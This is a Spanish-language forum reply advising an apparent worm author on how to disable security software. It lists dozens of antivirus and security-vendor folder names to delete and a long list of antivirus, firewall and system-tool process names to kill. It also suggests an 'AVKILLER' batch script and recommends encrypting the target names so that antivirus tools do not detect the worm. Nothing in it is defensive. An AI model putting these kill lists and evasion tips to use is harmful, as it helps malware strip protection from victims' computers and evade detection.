lo que quieres es encontrar las carpetas de los AV y
borrarlas
si eso es este venddria siendo el listado:
"Panda Software", "Kaspersky Lab", "Spybot - Search & Destroy", "Spyware Doctor", "Webroot", "Microsoft Antispyware", "Lavasoft", "Registry Mechanic", "System Mechanic", "ESET", "Grisoft", "xerox", "ALWIL Software", _
"BitDefender Professional Plus", "The Cleaner Pro", "Symantec", "Zone Labs", "Norton antivirus", "Alwil Software", "Symantec Shared", "Norton Internet Security", "ewido anti-malware", "Norton AntiVirus", "Norton Utilities", "Norton SystemWorks", _
"SpyAxe", "SpywareStrike", "VirusScan", "Eset", "AVPersonal", "Softwin", "Symantec AntiVirus", "AVG7", "McAfee", "McAfee.com", "SinEspias", "Trojan Remover", "Trend Micro", "Persystems", "BillP Studios", "SpywareBlaster", "The Cleaner", "Agnitum", _
"HJT", "TrojanShield", "Iparmor", "Prisma Firewall", "Kerio", "Sygate", "CA", "eTrust Internet Security Suite", "BullGuard Software", "AxBx", "TrojanHunter 4.2", "Anti Trojan Elite", "ClamWin", "Evidence Destructor", "Arovax Shield", _
"Adware Away", "Aluria Software", "Norman", "eTrust"
esos son basicos
si quieres eliminar antivirus puedes buscar como crear un batch con AVKILLER
otra cosa te recominedo encriptar los nombres dado que si un AV detecta sus nombres va a sospechas que lo quieren
y al que eliminan es a tu worm....
tambien dejo un listado de los procesos de los AV para que los los temines
avp
avx
adaware
advxdwin
alevir
arr
auto-protect
avg
avw
ahnsd
apvxdwin
alogserv
avk
ave32
anti-trojan
avsched32
avconsol
ackwin32
advxdwin
autodown
alert
amon
avmon
antivir
avsynmgr
avnt
avrep32
ants
atcon
atupdater
atwatch
autotrace
aplica32
atro55en
aupdate
autoupdate
avrescue
agent
avltmain
backweb
blackice
blackd
bd_professiona
l
bidef
bidserver
bipcp
bisp
bootwarn
borg2
bs120
buscareg
clrav
claw95ct
cfiaudit
cfiadmin
cfgwiz
cmgrdian
ctrl
cleaner
cfind
cfinet
ccapp
claw95
cpd
cleanpc
cmon016
cpf9x206
cpfnt206
csinject
csinsm32
css1631
cv
cwnb181
cwntdwmo
ccevtmgr
ccpxysvc
dv95
dvp95
defwatch
defalert
doors
deputy
dpf
drwatson
drweb32
dpfsetup
drwebupw
efinet32
espwatch
esafe
efpeadm
etrustcipe
evpn
expert
ecengine
eli
findviru
f-agnt95
frw
f-stopw
filemon
fprot
f-prot
fch32
fih32
fp-win
fsgk32
fnrb32
fsaa
fameh32
fast
firewall
fix-it
flowprotector
fp-win_trial
fsav
fsm
fwenc
gbmenu
gbpoll
generics
guard
hacktracer
htlog
hwpe
icssuppnt
icload
iamapp
icsupp95
ibma
iomon98
icmo
iface
iams
isrv95
ifw2000
iparmor
iris
isrv95
jed
jammer
kpf
kavlite
kerio
kill
luall
lookout
lockdown
lucomserver
ldpromenu
luspt
ldnetmon
ldpro
localnet
lsetup
luau
luinit
luspt
mpftray
moolive
msconfig
mcafee
monitor
mcmnhdlr
mctool
mcupdate
mcvsrte
mghtml
minilog
mcvsshld
mpfservice
mwatch
mcshield
mfw2en
mfweng3
mgavr
mgui
monsys
monwow
mrflux
msinfo32
mssmmc32
mu0311ad
mxtask
nav
netd32
nod32
nspclean
nmain
nvc95
nisum
nupgrade
nwtool16
normist
nisserv
nsched32
neowatchlog
nvsvc32
nwservice
ntxconfig
ntvdm
npssvc
npscheck
netutils
ndd32
notstart
nc2000
ncinst4
netarmor
netinfo
netmon
netspyhunter-1
netstat
norton
npf
nui
nvarch16
nvlaunch
nwinst4
nvapsvc
outpost
offguard
ostronet
persfw
procexp
pcfwallicon
pavcl
programauditor
pop3trap
poproxy
pcntmon
padmin
pview95
pcc
pav
pavmail
per
perd
pertsk
perupd
pervac
pervacd
pavsched
pavw
pqremove
pfwcon
pfwagent
pfwsvc
prebind
panixk
pcdsetup
pcip10117_0
periscope
perswf
pf2
pfwadmin
platin
portdetective
ppinupdt
pptbc
ppvstop
procexplorerv1
proport
protect
purge
pccntmon
ping
qconsole
qserver
rav
regmon
rescue
rapapp
rtvscn95
rulaunch
regedit
regedt32
realmon
rshell
route
stinger
serv95
scan
safeweb
symproxysvc
symtray
sphinx
smc
spyxx
ss3edit
sbserv
swnetsup
sfc
schedapp
setupvameeval
setup_flowprot
ector_us
sgssfw32
shellspyinstal
l
shn
sofi
spf
srwatch
st2
supftrl
supporter5
sweep
sysdoc32
sysedit
sharedaccess
tbscan
tds
taumon
tcm
tfak
th
taskmon
tauscan
tc
tgbob
titanin
tracer
trjs
trojan
troyan
tmntsrv
undoboot
update
vshwin32
vet
vsecomr
vbcmserv
vbcons
vir-help
vptray
vsmain
vsmon
vsstat
vettray
vcontrol
vbust
vbwin
virus
vccmserv
vcsetup
vfsetup
vnlan300
vnpc3000
vpc
vpfw30s
vscenu6
vsisetup
vswin
vvstat
view
wfindv32
wimmun32
wgfe95
webtrap
watchdog
wradmin
wrctrl
w32dsm89
whoswatchingme
winrecon
winroute
winsfcm
wsbgate
zonealarm
zapro
zap
zcap
zatutor
zonestub
zlclient
zauinst
zonalm2601
Autor